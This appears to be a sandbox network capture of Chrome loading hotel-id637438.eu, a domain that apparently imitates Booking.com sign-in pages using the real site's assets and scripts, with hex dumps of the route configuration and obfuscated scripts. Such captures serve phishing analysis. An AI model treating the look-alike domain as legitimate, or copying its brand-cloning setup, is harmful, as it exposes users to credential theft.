2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 73 69 67 6e 49 6e 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 74 68 3a 20 22 2f 73 69 67 6e 2d 69 6e 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 69 74 6c 65 3a 20 22 62 6f 6f 6b 22 20 3d 3d 3d 20 62 6f 6f 6b 69 6e 67 2e 65 6e 76 2e 66 65 61 74 75 72 65 73 2e 65 6e 61 62 6c 65 64 5f 69 6e 74 65 67 72 61 74 69 6f 6e 20 3f 20 22 69 64 65 6e 74 69 74 79 5f 73 69 67 6e 69 6e 5f 6c 61 6e 64 69 6e 67 5f 73 63 72 65 65 6e 5f 73 69 67 6e 69 6e 5f 63 72 65 61 74 65 5f 68 65 61 64 69 6e 67 22 20 3a 20 22 61 63 63 6f 75 6e 74 5f 73 69 67 6e 5f 69 6e 5f 68 65 61 64 65 72 5f 6e 65 77 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 69 67 6e 49 6e 50 61 73 73 77 6f 72 64 3a 20 7b Data Ascii: signIn: { path: "/sign-in", title: "book" === booking.env.features.enabled_integration ? "identity_signin_landing_screen_signin_create_heading" : "account_sign_in_header_new" }, signInPassword: {
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 56 65 72 69 66 69 63 61 74 69 6f 6e 53 65 6e 74 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 74 68 3a 20 22 2f 73 69 67 6e 2d 69 6e 2f 76 65 72 69 66 69 63 61 74 69 6f 6e 2d 73 65 6e 74 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 69 74 6c 65 3a 20 22 69 64 65 6e 74 69 74 79 5f 73 69 67 6e 69 6e 5f 70 61 73 73 77 6f 72 64 5f 72 65 73 65 74 5f 6c 69 6e 6b 5f 73 65 6e 74 5f 68 65 61 64 65 72 5f 74 69 74 6c 65 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 69 67 6e 49 6e 4d 61 67 69 63 4c 69 6e 6b 53 65 6e 74 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 74 68 3a 20 22 2f 73 69 67 6e 2d 69 6e 2f 6d 61 67 69 63 2d 6c 69 6e 6b 2d 73 65 6e 74 22 2c Data Ascii: VerificationSent: { path: "/sign-in/verification-sent", title: "identity_signin_password_reset_link_sent_header_title" }, signInMagicLinkSent: { path: "/sign-in/magic-link-sent",
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 69 67 6e 49 6e 43 6f 6e 66 69 72 6d 45 6d 61 69 6c 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 74 68 3a 20 22 2f 73 69 67 6e 2d 69 6e 2f 63 6f 6e 66 69 72 6d 2d 65 6d 61 69 6c 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 69 74 6c 65 3a 20 22 69 61 6d 5f 70 61 67 65 5f 74 69 74 6c 65 5f 32 66 61 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 69 67 6e 49 6e 43 6f 6e 6e 65 63 74 53 6f 63 69 61 6c 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 74 68 3a 20 22 2f 73 69 67 6e 2d 69 6e 2f 63 6f 6e 6e 65 63 74 2d 73 6f 63 69 61 6c 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 69 74 6c 65 3a 20 22 69 64 65 6e 74 69 74 79 5f 6c 69 6e 6b Data Ascii: ignInConfirmEmail: { path: "/sign-in/confirm-email", title: "iam_page_title_2fa" }, signInConnectSocial: { path: "/sign-in/connect-social", title: "identity_link
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 76 65 64 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 69 74 6c 65 3a 20 22 69 61 6d 5f 65 6d 61 69 6c 5f 72 65 73 65 72 76 65 64 5f 68 65 61 64 65 72 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 73 73 77 6f 72 64 45 78 70 69 72 65 64 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 74 68 3a 20 22 2f 70 61 73 73 77 6f 72 64 2d 65 78 70 69 72 65 64 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 69 74 6c 65 3a 20 22 69 61 6d 5f 70 61 67 65 5f 74 69 74 6c 65 5f 70 61 73 73 77 6f 72 64 5f 65 78 70 69 72 65 64 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 61 75 74 68 4c 6f 77 50 61 73 73 77 6f 72 64 3a 20 Data Ascii: ved", title: "iam_email_reserved_header" }, passwordExpired: { path: "/password-expired", title: "iam_page_title_password_expired" }, oauthLowPassword:
2024-07-08 22:43:28 UTC	1369	IN	Data Raw: 74 65 5f 70 65 72 73 6f 6e 61 6c 5f 64 65 74 61 69 6c 73 5f 68 65 61 64 65 72 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 67 69 73 74 65 72 43 6f 6e 66 69 72 6d 50 68 6f 6e 65 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 74 68 3a 20 22 2f 72 65 67 69 73 74 65 72 2f 63 6f 6e 66 69 72 6d 2d 70 68 6f 6e 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 69 74 6c 65 3a 20 22 61 63 63 6f 75 6e 74 5f 63 72 65 61 74 65 5f 70 68 6f 6e 65 5f 63 6f 6e 66 69 72 6d 5f 68 65 61 64 65 72 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 67 69 73 74 65 72 50 61 73 73 77 6f 72 64 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: te_personal_details_header" }, registerConfirmPhone: { path: "/register/confirm-phone", title: "account_create_phone_confirm_header" }, registerPassword: {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49735	18.66.196.31	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	609	OUT	GET /design-assets/assets/v3.58.1/fonts-brand/BookingExtraBold.woff HTTP/1.1 Host: t-cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hotel-id637438.eu sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:28 UTC	586	IN	HTTP/1.1 200 OK Content-Type: font/woff Content-Length: 25328 Connection: close Last-Modified: Fri, 27 Jan 2023 14:42:26 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Mon, 08 Jul 2024 09:00:37 GMT ETag: "1ce83dba9b028d54997f401fcc88ee88" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 0775da0a2f9756772faa2f4ff573da68.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: 6sc9_HyAR0EeysdRKnyzY_cM1asCvkqHDQR55DVELwnC1vBSpSEphg== Age: 72608 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: *
2024-07-08 22:43:28 UTC	15798	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 62 f0 00 11 00 00 00 00 e5 b4 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 52 e4 00 00 00 92 00 00 00 d6 21 29 21 35 47 50 4f 53 00 00 53 78 00 00 0c 73 00 00 41 da 1f b5 56 b5 47 53 55 42 00 00 5f ec 00 00 03 01 00 00 08 4e 99 73 0a 3e 4f 53 2f 32 00 00 01 f8 00 00 00 59 00 00 00 60 68 06 44 c1 63 6d 61 70 00 00 05 88 00 00 03 05 00 00 04 3e e2 76 a0 63 63 76 74 20 00 00 0e 58 00 00 00 bb 00 00 0b f2 22 b7 18 47 66 70 67 6d 00 00 08 90 00 00 03 ab 00 00 06 d7 0a 30 87 36 67 61 73 70 00 00 52 d8 00 00 00 0c 00 00 00 0c 00 07 00 1b 67 6c 79 66 00 00 12 60 00 00 3f 80 00 00 72 9a 5c 26 03 a6 68 65 61 64 00 00 01 80 00 00 00 36 00 00 00 36 1c d7 85 50 68 68 65 61 00 00 01 b8 00 00 00 Data Ascii: wOFFbGDEFR!)!5GPOSSxsAVGSUB_Ns>OS/2Y`hDcmap>vccvt X"Gfpgm06gaspRglyf`?r\&head66Phhea
2024-07-08 22:43:28 UTC	9530	IN	Data Raw: dd 5f 1c d6 ab d5 1a 9f 6f 55 47 cb 78 ba 3c d7 ff e1 27 ce f5 d1 f9 73 7d f3 ff c9 5c bf 9c 86 5d 38 d5 67 be 50 4e c3 2e 9c ea 23 86 e6 b8 99 55 c4 86 1a 50 3b 5a 82 4e 3d 32 53 8d ef ad c6 d5 df 9b fb 47 ce a6 d1 e7 ab 83 83 b1 ec 90 c7 1f f7 93 27 21 82 f2 df 1b 39 1b 21 11 7a b7 07 ee 46 62 aa 45 83 36 a7 cc 61 88 1a c8 f3 06 fc 55 c3 63 06 62 33 60 83 1e 6e 1a 74 83 96 f5 4d b8 69 04 ea aa c8 61 8c 1a c9 57 8d 8f 19 7f 60 64 8c f4 ae 15 a4 c5 22 4b 8c c4 91 aa 28 20 e3 f0 86 47 39 31 1e 85 99 f4 6e 81 fa e8 b8 90 f3 2c 5e 03 46 fc 6f 89 72 7e 61 36 b4 c8 a6 a2 40 95 32 e8 41 31 3f fa 66 d3 28 cd a0 07 9a 69 06 bd cb 4f 33 e8 c9 61 8f 67 65 ed f9 09 d3 d6 ce 1d 7e db 08 6f 8f 3b 3d 90 5a c7 7c 29 7f ba 30 bd 6e 73 d8 1c 15 d9 d4 68 6d b4 76 67 5d 5d Data Ascii: _oUGx<'s}\]8gPN.#UP;ZN=2SG'!9!zFbE6aUcb3`ntMiaW`d"K( G91n,^For~a6@2A1?f(iO3age~o;=Z\|)0nshmvg]]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49742	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:28 UTC	599	OUT	GET /static/us.png HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:28 UTC	709	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:28 GMT Content-Type: image/png Content-Length: 642 Connection: close last-modified: Sat, 06 Jul 2024 13:10:31 GMT etag: "f95f8346218da320d6bf05d9ab261516" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6878 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lul851dXkEeoPsneg%2B%2F9Hzhjq0chDPhIsSJBkmpwE1b0hkcodQ5DkXrruXG1QApCm2E3hhtVyjEOXHbs0gThfyNUr3BFWSkHT9EKtm9dEIM8GD60Q9%2BqUfFYi%2FZf9km31A9f%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397e569438c65-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:28 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49738	23.211.8.90	443

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:28 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-08 22:43:28 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=149195 Date: Mon, 08 Jul 2024 22:43:28 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49740	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:28 UTC	894	OUT	GET /2HGL14kaydX5qYhD?72ef15d3203931b6=ZrL8omu03-2S9W2nQj0WYnqyiJCWCcg7MoUvHcHkm2RK0PsMdIrLvoPPb1AACx62WnbBKEY8Zbkg6QlNwKKIbS7vHKX08XfT56wV6jwlIIo_yNVNGVDusjMxoHC_E7ovHNHZyamY9dQrkvvplMIpAmbOHkUzAhGBWMvxmak-Kpwxyt15Zu9F7hB6LzNsnHkotXW9uKjROK5MZ9y_&jb=3d39262668736f753557696c6667777126687b6f3d5f6966666d77712d3032333026687b6a753d436a726f6d6d266a716035436a726d6565253a30393335 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:28 UTC	645	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:28 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT tmx-nonce: 9d8e366b7ec51ed9 Access-Control-Allow-Origin: * X-Robots-Tag: noindex, nofollow Set-Cookie: thx_guid=3fa174e7c1d8fff14039563eb4ad0c1a; Max-Age=155520000; Version=1; HttpOnly; Path=/; Secure; P3P: CP=IVAa PSAa Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:28 UTC	7547	IN	Data Raw: 31 66 66 38 0d 0a 76 61 72 20 74 64 5f 35 6e 3d 74 64 5f 35 6e 7c 7c 7b 7d 3b 74 64 5f 35 6e 2e 74 64 5f 30 51 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 5a 2c 74 64 5f 41 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 74 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 4a 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 78 3d 30 3b 74 64 5f 78 3c 74 64 5f 41 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 78 29 7b 74 64 5f 74 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 5a 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 4a 29 5e 74 64 5f 41 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 78 29 29 29 3b 74 64 5f 4a 2b 2b 3b 0a 69 66 28 74 64 5f 4a 3e 3d 74 64 5f 5a 2e 6c 65 6e 67 74 68 29 7b 74 64 5f 4a 3d 30 3b 7d 7d 72 65 74 75 72 6e 20 74 64 5f 74 2e 6a Data Ascii: 1ff8var td_5n=td_5n\|\|{};td_5n.td_0Q=function(td_Z,td_A){try{var td_t=[""];var td_J=0;for(var td_x=0;td_x<td_A.length;++td_x){td_t.push(String.fromCharCode(td_Z.charCodeAt(td_J)^td_A.charCodeAt(td_x)));td_J++;if(td_J>=td_Z.length){td_J=0;}}return td_t.j
2024-07-08 22:43:28 UTC	643	IN	Data Raw: 78 33 36 5c 78 36 33 5c 78 33 30 5c 78 33 39 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 36 35 5c 78 33 30 5c 78 33 34 5c 78 33 30 5c 78 33 36 5c 78 33 31 5c 78 33 31 5c 78 33 35 5c 78 33 31 5c 78 33 35 5c 78 33 37 5c 78 33 35 5c 78 33 37 5c 78 33 30 5c 78 33 34 5c 78 33 34 5c 78 33 31 5c 78 33 31 5c 78 33 31 5c 78 33 30 5c 78 33 36 5c 78 33 35 5c 78 36 35 5c 78 33 34 5c 78 33 30 5c 78 33 35 5c 78 33 36 5c 78 33 34 5c 78 33 31 5c 78 33 34 5c 78 36 34 5c 78 33 34 5c 78 36 34 5c 78 33 31 5c 78 33 35 5c 78 33 34 5c 78 33 39 5c 78 33 35 5c 78 33 31 5c 78 33 30 5c 78 33 36 5c 78 33 36 5c 78 33 37 5c 78 33 34 5c 78 36 33 5c 78 33 34 5c 78 33 37 5c 78 33 30 5c 78 33 32 5c 78 33 30 5c 78 33 33 5c 78 33 31 5c 78 33 31 5c 78 33 35 5c 78 33 33 5c 78 33 35 5c 78 33 39 Data Ascii: x36\x63\x30\x39\x35\x32\x30\x65\x30\x34\x30\x36\x31\x31\x35\x31\x35\x37\x35\x37\x30\x34\x34\x31\x31\x31\x30\x36\x35\x65\x34\x30\x35\x36\x34\x31\x34\x64\x34\x64\x31\x35\x34\x39\x35\x31\x30\x36\x36\x37\x34\x63\x34\x37\x30\x32\x30\x33\x31\x31\x35\x33\x35\x39
2024-07-08 22:43:28 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:28 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 59 56 3d 74 64 5f 56 5b 28 28 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 62 65 36 64 38 66 30 64 61 65 65 30 34 34 61 32 62 65 31 35 38 35 36 30 33 39 36 63 38 39 37 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 62 65 36 64 38 66 30 64 61 65 65 30 34 34 61 32 62 65 31 35 38 35 36 30 33 39 36 63 38 39 37 66 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 6e 2e 74 64 7a 5f 62 65 36 64 38 66 30 64 61 65 65 30 34 34 61 32 62 65 31 35 38 35 36 30 33 39 36 63 38 39 37 66 2e 74 64 5f 66 28 31 30 2c 31 37 29 29 3a 6e 75 6c 6c 29 5d 3b 0a 76 61 72 20 74 64 5f 4b 50 3d 7b 7d 3b 76 61 72 20 74 64 5f 72 58 3d 7b 7d 3b 76 61 72 20 74 64 5f 78 45 3d 66 Data Ascii: 1ff8YV=td_V[((typeof(td_5n.tdz_be6d8f0daee044a2be158560396c897f)!=="undefined"&&typeof(td_5n.tdz_be6d8f0daee044a2be158560396c897f.td_f)!=="undefined")?(td_5n.tdz_be6d8f0daee044a2be158560396c897f.td_f(10,17)):null)];var td_KP={};var td_rX={};var td_xE=f
2024-07-08 22:43:28 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:28 UTC	8184	IN	Data Raw: 61 34 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 6e 2e 74 64 7a 5f 37 37 32 62 38 30 32 66 65 39 34 38 34 30 31 66 39 35 39 64 62 62 38 37 63 62 64 38 63 32 61 34 2e 74 64 5f 66 28 30 2c 36 29 29 3a 6e 75 6c 6c 29 26 26 74 64 5f 48 72 21 3d 3d 6e 75 6c 6c 26 26 74 64 5f 48 72 21 3d 3d 22 22 29 3b 0a 7d 66 75 6e 63 74 69 6f 6e 20 74 64 5f 65 4b 28 74 64 5f 4a 64 29 7b 72 65 74 75 72 6e 28 74 79 70 65 6f 66 20 74 64 5f 4a 64 3d 3d 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 37 37 32 62 38 30 32 66 65 39 34 38 34 30 31 66 39 35 39 64 62 62 38 37 63 62 64 38 63 32 61 34 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 6e 2e 74 64 7a 5f 37 37 32 62 38 30 32 66 65 39 34 38 Data Ascii: a4.td_f)!=="undefined")?(td_5n.tdz_772b802fe948401f959dbb87cbd8c2a4.td_f(0,6)):null)&&td_Hr!==null&&td_Hr!=="");}function td_eK(td_Jd){return(typeof td_Jd===((typeof(td_5n.tdz_772b802fe948401f959dbb87cbd8c2a4)!=="undefined"&&typeof(td_5n.tdz_772b802fe948
2024-07-08 22:43:28 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:28 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 3d 3d 74 64 5f 54 4e 26 26 74 64 5f 74 57 28 74 64 5f 6c 54 5b 74 64 5f 41 31 5d 2c 28 74 64 5f 57 32 5b 74 64 5f 52 77 5d 5b 74 64 5f 55 69 5d 29 29 29 7b 2b 2b 74 64 5f 4d 49 3b 0a 69 66 28 74 64 5f 66 4a 28 74 64 5f 6c 54 5b 74 64 5f 63 4c 5d 29 26 26 74 64 5f 66 4a 28 74 64 5f 57 32 5b 74 64 5f 52 77 5d 5b 74 64 5f 53 36 5d 29 26 26 74 64 5f 74 57 28 74 64 5f 6c 54 5b 74 64 5f 63 4c 5d 2c 28 74 64 5f 57 32 5b 74 64 5f 52 77 5d 5b 74 64 5f 53 36 5d 29 29 29 7b 2b 2b 74 64 5f 4d 49 3b 7d 69 66 28 74 64 5f 76 69 26 26 74 64 5f 4d 49 3d 3d 3d 32 29 7b 72 65 74 75 72 6e 20 32 3b 7d 65 6c 73 65 7b 69 66 28 21 74 64 5f 76 69 26 26 74 64 5f 4d 49 3d 3d 3d 31 29 7b 72 65 74 75 72 6e 20 31 3b 7d 65 6c 73 65 7b 74 64 5f 4d 49 3d 30 3b 7d 7d 7d Data Ascii: 1ff8==td_TN&&td_tW(td_lT[td_A1],(td_W2[td_Rw][td_Ui]))){++td_MI;if(td_fJ(td_lT[td_cL])&&td_fJ(td_W2[td_Rw][td_S6])&&td_tW(td_lT[td_cL],(td_W2[td_Rw][td_S6]))){++td_MI;}if(td_vi&&td_MI===2){return 2;}else{if(!td_vi&&td_MI===1){return 1;}else{td_MI=0;}}}
2024-07-08 22:43:28 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:28 UTC	8184	IN	Data Raw: 5c 78 36 35 5c 78 33 35 5c 78 33 31 5c 78 33 34 5c 78 33 33 5c 78 33 35 5c 78 36 32 5c 78 33 35 5c 78 33 37 5c 78 33 30 5c 78 33 35 5c 78 33 31 5c 78 33 32 5c 78 33 30 5c 78 36 33 5c 78 33 34 5c 78 33 30 5c 78 33 31 5c 78 33 31 5c 78 33 34 5c 78 33 34 5c 78 33 31 5c 78 33 31 5c 78 33 35 5c 78 33 36 5c 78 33 35 5c 78 33 31 5c 78 33 31 5c 78 33 39 5c 78 33 35 5c 78 36 33 5c 78 33 34 5c 78 36 35 5c 78 33 30 5c 78 33 34 5c 78 33 31 5c 78 33 34 5c 78 33 34 5c 78 33 33 5c 78 33 35 5c 78 36 36 5c 78 33 30 5c 78 33 30 5c 78 33 35 5c 78 36 34 5c 78 33 30 5c 78 33 37 5c 78 33 30 5c 78 36 31 5c 78 33 34 5c 78 33 31 5c 78 33 35 5c 78 33 32 5c 78 33 34 5c 78 36 33 5c 78 33 34 5c 78 33 31 5c 78 33 30 5c 78 33 34 5c 78 33 31 5c 78 33 30 5c 78 33 35 5c 78 36 32 5c 78 33 Data Ascii: \x65\x35\x31\x34\x33\x35\x62\x35\x37\x30\x35\x31\x32\x30\x63\x34\x30\x31\x31\x34\x34\x31\x31\x35\x36\x35\x31\x31\x39\x35\x63\x34\x65\x30\x34\x31\x34\x34\x33\x35\x66\x30\x30\x35\x64\x30\x37\x30\x61\x34\x31\x35\x32\x34\x63\x34\x31\x30\x34\x31\x30\x35\x62\x3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49739	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:28 UTC	785	OUT	GET /ecZ5aVIu8voGAhYC?53f7ffd9bbb2d5cb=smMqDMPW5PXvlBuohE-AiFotCHBQBRFo84spVI31kFeQxTag7e6ldKjGdOvIc6vDwOfkesTZ1ay3rnLIq6bhFqTh_Rmhw4WtCWyLyVb4sUwfuPJfED8qiLEaBRjdCk3fgAWGsr6KL5YTLi20GhT53n65TK-uDTh9MDdTnz4 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:28 UTC	357	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:28 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
2024-07-08 22:43:28 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

